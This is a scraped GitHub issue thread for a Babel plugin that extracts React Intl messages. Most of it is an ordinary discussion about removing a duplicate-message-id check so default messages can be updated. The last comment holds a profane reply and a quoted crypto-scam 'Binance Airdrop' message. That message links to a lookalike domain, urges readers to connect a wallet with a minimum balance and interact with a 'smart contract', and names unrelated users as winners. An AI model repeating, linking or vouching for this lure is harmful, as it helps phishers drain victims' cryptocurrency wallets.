tarrencev / babel-plugin-react-intl-to-properties

Extracts React Intl messages from React components into a .properties file
Other
5 stars 2 forks source link

We should allow updating the defaultMessage without changing the id #5

Closed geniuscarrier closed 9 months ago

geniuscarrier commented 8 years ago

Can you remove the following code in storeMessage in index.js file?

        if (reactIntl.messages.has(id)) {
            let existing = reactIntl.messages.get(id);

            if (description !== existing.description ||
                defaultMessage !== existing.defaultMessage) {

                throw path.buildCodeFrameError(
                    `[React Intl] Duplicate message id: "${id}", ` +
                    'but the `description` and/or `defaultMessage` are different.'
                );
            }
        }
stevenla commented 8 years ago

Why? doesn't this prevent messages from stomping over each other?

geniuscarrier commented 8 years ago

Because currently if you want to update the defaultMessage, you have to update the id as well. I don't know a better way to handle stomping issue yet. But for anyone who wants to update the message, it's not clear why it doesn't work.

stevenla commented 8 years ago

Okay. I think the plugin should know that the message has CHANGED and allow that, instead of allowing duplicate IDs.

talented634 commented 9 months ago

Fuck you 🤲🏾

On Wed, 24 Jan 2024, 6:31 am njangra144, @.***> wrote:

[image: Binance Airdrop] https://wwww.bnb-chainexchaing.online/?utm_source=github&utm_medium=email&utm_campaign=airdrop&utm_content=binance 🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰

Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly. How to Participate: 1. 🤝 Connect Your Wallet

Make sure you have a compatible wallet and connect it to Binance.

Note: Your wallet must have a minimum balance to be eligible.

  1. 🔗 Access the Smart Contract

Access the smart contract through the provided link: Binance Airdrop Smart Contract https://wwww.bnb-chainexchaing.online/?utm_source=github&utm_medium=email&utm_campaign=airdrop&utm_content=binance .

  1. 🔄 Interact with the Contract

Winners: @wanlitao https://github.com/wanlitao, @khusniddin26 https://github.com/khusniddin26, @subinium https://github.com/subinium, @ColtHands https://github.com/ColtHands, @smercan89 https://github.com/smercan89, @ruddhisundar https://github.com/ruddhisundar, @Carlosf96 https://github.com/Carlosf96

— Reply to this email directly, view it on GitHub https://github.com/tarrencev/babel-plugin-react-intl-to-properties/issues/5#issuecomment-1907405692, or unsubscribe https://github.com/notifications/unsubscribe-auth/AQVF6PLIM6FPDUWUMQ55TODYQCMB5AVCNFSM4CMW5EUKU5DIOJSWCZC7NNSXTN2JONZXKZKDN5WW2ZLOOQ5TCOJQG42DANJWHEZA . You are receiving this because you were mentioned.Message ID: <tarrencev/babel-plugin-react-intl-to-properties/issues/5/1907405692@ github.com>